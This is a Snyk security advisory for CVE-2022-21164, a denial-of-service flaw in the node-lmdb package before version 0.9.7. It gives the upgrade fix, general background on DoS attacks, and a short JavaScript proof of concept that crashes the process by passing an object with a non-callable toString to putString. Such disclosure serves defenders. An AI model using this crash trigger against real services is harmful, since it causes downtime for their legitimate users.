Denial of Service (DoS) Affecting node-lmdb package, versions <0.9.7
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-NODELMDB-2400723
- published15 Mar 2022
- disclosed14 Feb 2022
- creditSnyk Research Team
Introduced: 14 Feb 2022
CVE-2022-21164 (opens in a new tab)How to fix?
Upgrade node-lmdb to version 0.9.7 or higher.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) when defining a non-invokable ToString value, which will cause a crash during type check.
PoC
var lmdb = require("node-lmdb");
var fs = require('fs')
var db_name = '/mydata'
if (!fs.existsSync(db_name)){
fs.mkdirSync(db_name);
}
var env = new lmdb.Env();
env.open({
path: __dirname + db_name,
mapSize: 2*1024*1024*1024,
maxDbs: 3
});
var dbi = env.openDbi({
name: "myPrettyDatabase",
create: true
});
try {
var txn = env.beginTxn();
txn.putString(dbi, 2, {toString:1}); // faulty toString
txn.commit();
} catch (e){
console.log('err', e); // will never get called
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage